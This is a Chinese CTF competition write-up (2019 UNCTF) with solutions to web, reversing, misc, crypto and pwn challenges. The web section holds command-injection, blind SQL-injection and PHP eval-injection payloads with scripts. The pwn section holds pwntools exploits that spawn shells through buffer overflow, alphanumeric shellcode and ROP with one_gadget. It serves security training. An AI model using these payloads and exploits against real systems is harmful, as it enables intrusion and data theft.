2019 UNCTF

原文发表于安全客

WEB

帮赵总征婚

呃，帮不了赵总征婚~。

f12，有个hint：<!-- I like rockyou! -->

上rockyou字典（不可能的，bp会炸，上top3000），直接爆，得到flag

得到flag：flag{57fc636a42f46c7658110a631256f5cb}

简单的备忘录

emmm，没学过的语言，进去各种fuzz，

发现打一个字母他就会给些选择

最后随缘整出flag

flag{3ad4aaedf408c147d5f747f7ce76d2b4}

checkin

进入是个聊天框，/name 改名字

/flag 会打印flag1flag1flag1….

/more 显示/flag – 小伙子…

/calc 可以计算，（猜测这里可能有命令执行）

找到篇文章https://m.jb51.net/article/91411.htm`

于是试了试里面的payload：/calc require(‘child_process’).exec(‘ls’).toString()

返回了：血小板: [object Object]

然后试了试execSync：/calc require(‘child_process’).execSync(‘ls’).toString()

返回了：bin games include lib local sbin share src命令执行成功

于是读取flag：/calc require(‘child_process’).execSync(‘cat /flag’).toString()

返回：血小板: undefined

应该是空格的问题，那就用$IFS替代：/calc require(‘child_process’).execSync(‘cat$IFS/flag’).toString()

成功拿到flag

flag{0e4d1980ef6f8a81428f83e8e1c6e22b}

Twice_Insert

刚开始还以为是原题，注册admin’#后改密码，然后用admin登录，发现并没有flag（可恶呢

但是，既然这个二次注入点还在，那仍然是可以被拿来利用的

在单引号和#中间就可以注入语句

各种fuzz后，发现很多函数都被waf了（smarter…harder…大概是有回显的盲注了）

最后，发现了这篇文章https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/

于是试着构造payload：

123

"admin' and ascii(substr((select group_concat(distinct database_name)from mysql.innodb_index_stats),1,1))=30###vanish""admin' and ascii(substr((select group_concat(distinct table_name)from mysql.innodb_index_stats),1,1))=30###vanish"

然后写一个自动化脚本。不断地注册，登录，改密码，然后根据回显按位爆破库、表即可

最终的payload：”admin’ and ascii(substr((select * from fl4g),%d,1))=%d###vanish”%(i,j)

得到flag：UNCTF{585ae8df50433972bb6ebd76e3ebd9f4}（不知道为啥，开头有时候会缺）

NSB Reset Password

注册->改密码：发验证码->重置密码

三个包抓过来，发现sessionID都没有变动过。

试着猜想这个改密码的逻辑：当我给自己的账户发邮件，然后输入验证码，验证通过后，这个sessionID就获得了更改密码的权利，但是是更改谁的密码呢？账户的信息想必是存在sessionID里的。

但经过测验，无论是给admin发邮件，还是给自己发邮件，sessionID都没有变过。那么，显然sessionID里的储存的账户信息的那部分是可以被覆盖的，所以解题流程：

先注册->更改密码：发送验证码->到重置密码的界面，此时再开一个窗口，发送更改admin密码的邮件（sessionID里的用户被覆盖为admin），然后又回去，更改密码（此时更改的就是sessionID里的账户，即admin的密码），然后用自己更改的密码登录admin账户即可获flag

flag：flag{175f3098f80735ddfdfbd4588f6b1082}

easy_admin

很容易发现在/index.php?file=forget这里存在注入

fuzz后发现过滤了and select where。。。

然后卡了好久不知道怎么查admin的密码，最后索性直接 password （bugku有一道过滤很严的题就是这样bypass，）

exp：

12345678910111213141516171819

import requestsurl = "http://101.71.29.5:10045/index.php?file=forget"r = requests.Session()password=""for i in range(1,40):    for j in range(ord('0'),ord('}')):        data = {            "username":"-1'or ascii(substr((password),%d,1))=%d#"%(i,j)        }        res = r.post(url, data=data)        #print res.text        if "ok reset password" in res.text:            password = password + chr(j)            print password            break

得到密码：

登录后yes you are admin, but you can’ to get the flag, because admin will access the website from

from where？

盲猜是127.0.0.1，然后再报文头加一个Referer，得到后一半flag

flag：flag{nevertoolatetox}

Bypass

php的正则有点小漏洞，两个斜杠丢进php只剩一个斜杠了，然后这个斜杠丢进正则就用来转义了

而这一题，出题人似乎是给了个hint

这里故意换了下位置。

所以自己做了下实验，发现，由于这个小漏洞，a被过滤了|而不是，b被过滤了|\n，而不是被过滤了\n

123456789101112131415

<?php//highlight_file(__FILE__);$a = $_GET['a'];$b = $_GET['b'];// try bypass itif (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a)){    $a="";    echo"waf-a\n";}if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b)){    $b="";    echo"waf-b";}echo $a;print "<br>";echo $b;

同时，a,b就都可以用斜杠了，

于是就可以闭合引号后任意命令执行

对于命令的过滤有两种绕过方法，一个是linux下，用通配符?绕过，比如var写成v?r

解题：

1. http://101.71.29.5:10054/?a=\&b=%0al\s%20/%0a

2. flag不在根目录下，那就找找，

• http://101.71.29.5:10054/?a=\&b=%0afin\d%20/va?/???/htm?/%0a

1. 找到了

• http://101.71.29.5:10054/?a=\&b=%0aca\t%20/va?/???/htm?/.F1jh_/h3R3_1S_your_F1A9.txt%0a

flag：unctf{86dfe85d7c5842c5c04adae104193ee1}

审计一下世界上最好的语言吧

先丢进Seay

parse_template.php中有一个eval

查一下调用关系：

1234567891011121314151617181920212223242526272829303132333435363738

index.php：parse_again($searchword);parse_template.php:function parse_again(){    global $template_html,$searchword;    $searchnum    = isset($GLOBALS['searchnum'])?$GLOBALS['searchnum']:"";    $type      = isset($GLOBALS['type'])?$GLOBALS['type']:"";    $typename = isset($GLOBALS['typename'])?$GLOBALS['typename']:"";    $searchword = substr(RemoveXSS($searchword),0,20);    $searchnum = substr(RemoveXSS($searchnum),0,20);    $type = substr(RemoveXSS($type),0,20);    $typename = substr(RemoveXSS($typename),0,20);    $template_html = str_replace("{haha:searchword}",$searchword,$template_html);    $template_html = str_replace("{haha:searchnum}",$searchnum,$template_html);    $template_html = str_replace("{haha:type}",$type,$template_html);    $template_html = str_replace("{haha:typename}",$typename,$template_html);    $template_html = parseIf($template_html);    return $template_html;}function parseIf($content){    if (strpos($content,'{if:')=== false){            return $content;    }else{        $Rule = "/{if:(.*?)}(.*?){end if}/is";        preg_match_all($Rule,$content,$iar);        $arlen=count($iar[0]);        $elseIfFlag=false;        for($m=0;$m<$arlen;$m++){            $strIf=$iar[1][$m];            $strIf=parseStrIf($strIf);            @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");        }    }    return $content;

然后看到template.html，搜索searchword和searchnum

1

<h4><span class="glyphicon glyphicon-film sea-text"></span> <a href="#">{haha:searchword} </a> <small>共有<span class="sea-text">{haha:searchnum}</span>个影片 第<span class="sea-text">{searchlist:page}</span>页</small></h4>

最后再看看RemoveXSS

发现 if:,

解题思路：

首先利用四次的strreplace绕过RemoveXss,控制$templatehtml

然后是绕过判断和正则：{if:开头、{end if}结尾，然后真正执行的命令要在rule匹配到的第一个（.*?）

破题：

1234567

$searchnum={end if}$searchword={if{haha:type}$type=:read{haha:typename}$typename=file(%27flag.php%27)}

这样content被替换为

1

<h4><span class="glyphicon glyphicon-film sea-text"></span> <a href="#">{if:readfile(%27flag.php%27)}</a> <small>共有<span class="sea-text">{end if}</span>个影片 第<span class="sea-text">{searchlist:page}</span>页</small></h4>

正则过后$iar为

1234567891011121314151617

Array(    [0] => Array        (            [0] => {if:readfile(%27flag.php%27)}</a> <small>共有<span class="sea-text">{end if}        )    [1] => Array        (            [0] => readfile(%27flag.php%27)        )    [2] => Array        (            [0] => </a> <small>共有<span class="sea-text">        ))

然后$strIf被赋值为readfile(%27flag.php%27)

然后 @eval(“if(readfile(%27flag.php%27)) { $ifFlag=true;} else{ $ifFlag=false;}”);

readlfile输出flag

最终payload：

1

searchnum={end if}&content=<search>{if{haha:type}</search>&type=:read{haha:typename}&typename=file(%27flag.php%27)}

flag：UNCTF{5ee25610af306b625b4cadb4cb5fa24b}

RE

666

逆向签到题，

主要函数

然后找到一些关键值，再根据加密逻辑写解密脚本即可

12345678910

exp：cipher='''izwhroz""w"v.K".Ni'''key=0x12flag=''for i in range(0,len(cipher),3):    flag+=chr((ord(cipher[i])^key)-6)    flag+=chr((ord(cipher[i+1])^key)+6)    flag+=chr((ord(cipher[i+2])^key)^6)print flag

得到flag：unctf{b666b666b}

神奇的数组

打开主函数，读一下程序逻辑，结合大小端存储顺序。好的，flag就是checkbox里照抄。

flag：ad461e203c7975b35e527960cbfeb06c

BabyXor

手动脱壳+动调，直接出flag23333

flag：flag{2378b077-7d6e-4564-bdca-7eec8eede9a2}

unctfeasyMaze

解法一：ida反汇编后程序逻辑就是对地图进行了两次初始化，然后就是正常走迷宫了

将断点设置在地图第二次初始化完成后，然后查看RSI的值

7个一行排列

走完即可得到flag

flag：UNCTF{ssddwdwdddssaasasaaassddddwdds}

解法二：爆破

运行了程序后发现可以一步一步走，一旦走错就会报错

于是可以按位爆破，最多也就是试4*29次，很快的。。。（至少比misc那个走迷宫要快）

MISC

信号不好我先走了

下载得到图片，看了十六进制没有隐藏东西，于是用神器Stegsolve试一波LSB

果然有东西，藏了一个zip包。

保存下来解压缩得到一个张跟之前一样的图片。

盲猜盲水印，工具一把梭，得到

flag：unctf{9d0649505b702643}

亲爱的

原以为是mp3隐写，然而没有密码。

看十六进制数据发现有一个zip包在底下，

然后注释有提示

根据提示，和歌名，在qq音乐 海阔天空 李现 的评论区，在对应评论时间找到密码：真的上头

解压得到一张图片，看十六进制数据，底下隐写了一个word文档，

word打开，发现右下角有端倪，是图片一角，拖出来得到flag

（或者直接把word文档当zip打开，在word文件夹中的media文件夹中也有flag 的图片）

flag：UNCTF{W3L0v3Unctf}

快乐游戏题

终于出现了签到题，玩游戏得flag

flag：UNCTF{c783910550de39816d1de0f103b0ae32}

Happy Puzzle

手撕PNG呗，提示里的RGB没管，400*400比较有用，

最基本的PNG组成：文件头，IHDR，IDAT（len(data)+’IDAT’+data+crc），IEND，和随处可见的crc32校验（这玩意儿坑惨我了）

用windows比较方便的是，crc不用算，用0占位即可，IEND也可以不用加

解题过程：

1. 随便找个PNG，拿到png文件头+IHDR的数据
2. 改宽高
3. 给所有data文件，前面接上len(data)，即00002800，IDAT，再给末尾加上00000000占crc32的位
4. 做出26张图，看哪张图有图像，然后以此类推的再往后加data

• 结果：

贴上半自动exp：

12345678910111213141516

import oshead='89504e470d0a1a0a0000000d494844520000019000000190080200000000000000'idata='0000280049444154'crc="1bad748e"with open(filename,"rb") as f:       data = f.read().encode("hex")rootdir = ''list = os.listdir(rootdir) for i in range(0,len(list)):       path = os.path.join(rootdir,list[i])       if os.path.isfile(path) and path[-5:]=='.data':              with open(path,"rb") as f:                     txt = f.read()                     txt=data+idata+txt.encode("hex")+crc              with open(path.replace("puzzle","puzzle2").replace("data","png"),"wb") as f:                     f.write(txt.decode('hex'))

flag：ucntf{312bbd92c1b291e1827ba519326b6688}

think

用python的匿名函数一句话制作出的题目

关键在这里，check函数判断checknum，如果checknum为1，就打印(print(‘Congratulation!’), (print(decrypt(key, encrypted)),猜测后面半部分就是flag

于是，直接运行代码，然后在IDLE里键入check(1)，得到flag

flag:flag{34a94868a8ad9ff82baadb326c513d40}

Hidden secret

下载拿到三个里面全是十六进制的文件

看到03 04 05 06 01 02

就意识到这三个是被去掉了50 4B的zip包的三段数据

用010editor拼接起来后得到一个压缩包，里面是一个图片

用010editor打开图片后底下藏了一个zip包

解压得到一串密文：”K<jslc7b5’gBA&]_5MF!h5+E.@IQ&A%EExEzp\X#9YhiSHV#”

base全家桶走一遍，最后确定是base92

得到flag：unctf{cca1a567c3145b1801a4f3273342c622}

EasyBox

nc连上后是个数独题，不过是非常规的，只需要行和列不重复即可

魔改了个大佬的脚本：https://blog.csdn.net/zonnin/article/details/78813698

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192

import itertoolsfrom pwn import *context.log_level='debug'sh = remote('101.71.29.5',10011)content = sh.recvuntil("answer :\n")[339:718].replace("\n","").split("+-+-+-+-+-+-+-+-+-+")sudoku=[]for i in content:    if i!="":        sudoku.append(i.replace(" ","0")[1:-1].split("|"))#print sudokudef find_index(s):    flag=list()    for i in range(9):        row=[]        for j in range(9):            if s[i][j]=='0':                row.append(1)            else:                row.append(0)        flag.append(row)    return flagdef not_done(s):    return True in [0 in r for r in s]def get_row(s, r):    return s[r]def get_column(s, c):    return [r[c] for r in s]def get_possible(s, r, c):    return [i for i in range(1, 10) \                if i not in get_row(s, r) \                and i not in get_column(s, c)]def go_around(s):    ans = []    for index_r, r in enumerate(s): #row_index and row        row = []        for index_c, c in enumerate(r): #each in row            c=int(c)            if 0 == c:                maybe_ans = get_possible(s, index_r, index_c)                row.append(maybe_ans[0] if len(maybe_ans) == 1 else 0)            else:                row.append(c)        ans.append(row)    return ansdef print_sudoku(s, msg):    print msg    for r in s:        print " ".join([str(c) for c in r])    print "*"*18#print_sudoku(sudoku, "initializing...")FLAG=find_index(sudoku)counter=0sudoku = go_around(sudoku)#print_sudoku(sudoku, "Round "+ str(counter) + " :")#counter += 1while not_done(sudoku):    sudoku = go_around(sudoku)    #print_sudoku(sudoku, "Round "+ str(counter) + " :")   # counter += 1answer=""for i in range(9):    if FLAG[0][i] == 1:        answer+=str(sudoku[0][i])+","answer=answer[:-1]sh.sendline(answer)#print answerfor i in range(1,9):    answer=""    sh.recvuntil("answer :")    for j in range(9):        if FLAG[i][j]==1:           answer+=str(sudoku[i][j])+","    answer=answer[:-1]    sh.sendline(answer)    #print answersh.interactive()

得到flag：flag{b613e841e0822e2925376d5373cbfbc4}

CRYPTO

不仅仅是RSA

下载附件得到五个文件，

两个音频文件，看波形图，是摩斯密码，解密得到c1,c2

两个pem文件，用openssh打开得到两个模n和相同的e

根据加密脚本得知两个n有公约数

所以已知e p q

基础rsa解密，

exp：

1234567891011121314151617181920212223242526272829303132

from gmpy2 import *def GCD(a, b):    while b:        a, b = b, a%b    return ac1=4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351c2=485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349e=mpz(41221)n1=int('0xC461B3ED566F2D68583019170BDD5263D113BAECE3DEE6631F08A166376AC41FF5D4E90B3330E0FC26993E3B353F38F9B6B880DFBC5807636497561B7611047B',16)n2=int('0xA36E3A2A83FE2C1E33F285A08C3ECD36E377F4D9FFE828E2426D3ECED0A7F947631E932AEC327555511AC6D71E72686C1CB7DBBF3859A4D9A3D344FBF12A9553',16)#q=GCD(n1,n2)q = mpz(95652716952085928904432251307911783641637100214166105912784767390061832540987)print n2/qp1 = mpz(107527961531806336468215094056447603422487078704170855072884726273308088647617)p2 = mpz(89485735722023752007114986095340626130070550475022132484632643785292683293897)assert p1*q==n1assert p2*q==n2d1 = invert(e,(p1-1)*(q-1))d2 = invert(e,(p2-1)*(q-1))m1 = hex(pow(c1,d1,n1))[2:].decode('hex')m2 = hex(pow(c2,d2,n2))[2:].decode('hex')print m1,m2

flag：UNCTF{ac01dff95336aa470e3b55d3fe43e9f6}

一句话加密

拿到文件，python文件里没有啥，正常的rsa加密，

然后用010editor打开另外一张图片，发现底下有内容

猜测那个大数是n，先拿去分解一波，发现可行

但是，e呢？

突然，发现被分解出来的p和q很熟悉

上V爷爷博客!

p、q出现在V爷爷的Rabin密码的脚本里，那么这题就是Rabin密码了，，

那么直接上V爷爷脚本

1234567891011121314151617181920212223242526272829

import gmpy2def n2s(num):    t = hex(num)[2:]    if len(t) % 2 == 1:       return ('0'+t).decode('hex')    return t.decode('hex')def decode(c):    p = 275127860351348928173285174381581152299    q = 319576316814478949870590164193048041239    n = p*q    r = pow(c,(p+1)/4,p)    s = pow(c,(q+1)/4,q)    a = gmpy2.invert(p,q)    b = gmpy2.invert(q,p)    x =(a*p*s+b*q*r)%n    y =(a*p*s-b*q*r)%n    print n2s(x%n)    print n2s((-x)%n)    print n2s(y%n)    print n2s((-y)%n)c1=62501276588435548378091741866858001847904773180843384150570636252430662080263c2=72510845991687063707663748783701000040760576923237697638580153046559809128516decode(c1)decode(c2)

运行得到flag：unctf{412a1ed6d21e55191ee5131f266f5178}

ECC和AES基础

参考https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/discrete-log/ecc-zh/

将底下的脚本的数据替换下

12345678910111213141516171819202122

G=E(6478678675, 5636379357093)pub = E(2854873820564,9226233541419)c1 = E(6860981508506,1381088636252)c2 = E(1935961385155, 8353060610242)X = Gfor i in range(1, 3000000):    if X == pub:        secret = i        print "[+] secret:", i        break    else:        X = X + G        print im = c2 - (c1 * secret)print "[+] x:", m[0]print "[+] y:", m[1]print "[+] x+y:", m[0] + m[1]

爆破得到secret=2019813

12

x=1559343440829 y=7468915163961

x即为aes_key

123456789

from Crypto.Cipher import AESimport base64key = bytes('1559343440829'.ljust(16,' '))aes = AES.new(key, AES.MODE_ECB)  data=base64.b64decode('/cM8Nx+iAidmt6RiqX8Vww==')ans = aes.decrypt(data)print ans

发现并不能解出来

这里有点小坑，C1和C2位置互换了

于是重新跑第一个脚本，C1和C2的值互换，secret之前已经爆破出来了

得到 x=1026

AES解密得

thisisa_flag

然后去目标url post

得到

flag：401E48C9A96DC219C32AB5E75204B655

PWN

Sosoeasypwn

原本想泄露canary，后无意间发现，eip竟然被覆盖了，于是手测，发现输入12个a后即可控制eip。（这里输入了12个a和3个b加1个回车，可见eip被覆盖成了bbb\n）

IDA静态分析发现，是两个函数调用了同一个栈，然后栈内数据没清理，导致部分数据被重用

所以导致合法输入就可以覆盖v1的值。

由于开启了eip保护，但程序本身已经给了16位（4个字符），ida里可以看到后门函数的相对偏移，9CD

基址后12位（3个字符）都是0，那么仅需要爆破一个字符即可得到拿到shell

exp：

1234567891011121314151617181920

#!/usr/bin/pythonfrom pwn import *context.log_level = 'debug'while True:        try:                #sh = remote('101.71.29.5',10000)                sh = process("./pwn")              base_addr = sh.recvuntil(' world')              base_addr = hex(int(base_addr[-11:-6]))              sh.recvuntil('So, Can you tell me your name?')              sh.send('a'*12+p32(int(base_addr+'89cd',16))              sh.recvuntil('Please')              sh.sendline('ls')              sh.interactive()       except Exception as e:                sh.close()

得到flag：UNCTF{S0soE4zy_Pwn}

EasyShellcode

反汇编看程序逻辑，就只是限制了shellcode的字符，要求在A-Za-z0-9之间

直接上V爷爷将shellcode转base64的工具

https://github.com/veritas501/ae64

exp：

12345678910

from pwn import *from ae64 import AE64context.log_level = 'debug'p=remote('101.71.29.5',10080)p.recvuntil('say?\n')obj = AE64()sc = obj.encode(asm(shellcraft.sh()))p.sendline(sc)p.interactive()

flag：UNCTF{x64A5c11shE11c0dEi550_Ea5y}

easy rop

这个很好绕过

发现有一个栈溢出，而且retaddr做了限制，这样就不能直接ret到system了（这里我用的是one_gadget），但是可以找gadget绕过（这里我找的是 ret ）

其中libc版本用LibcSearcher泄露出来，然后payload的偏移需要用’\x00’来填充，以满足one_gadget的条件。

exp:

12345678910111213141516171819202122232425262728293031323334

#!/usr/bin/pythonfrom pwn import *from LibcSearcher import *context.log_level = 'debug'#sh = process('./babyrop')sh = remote('101.71.29.5',10041)elf = ELF('./babyrop')puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = 0x08048592ret = 0x0804839esh.recvuntil('Hello CTFer!')payload = '\x00'*0x20 + p32(0x66666666)sh.sendline(payload)sh.recvuntil('name?\n')payload = '\x00'*0x14  + p32(puts_plt) + p32(main_addr) + p32(puts_got)sh.sendline(payload)addr = u32(sh.recvuntil('\xf7')[-5:])libc = LibcSearcher('puts',addr)base = addr - libc.dump('puts')one_gadget = base + 0x3a819#one_gadget = base + 0x3ac69sh.recvuntil('Hello CTFer!')payload = p32(0)*8 + p32(0x66666666)sh.sendline(payload)sh.recvuntil('name?\n')payload = '\x00'*0x14 + p32(ret) +p32(one_gadget)sh.sendline(payload)sh.interactive()

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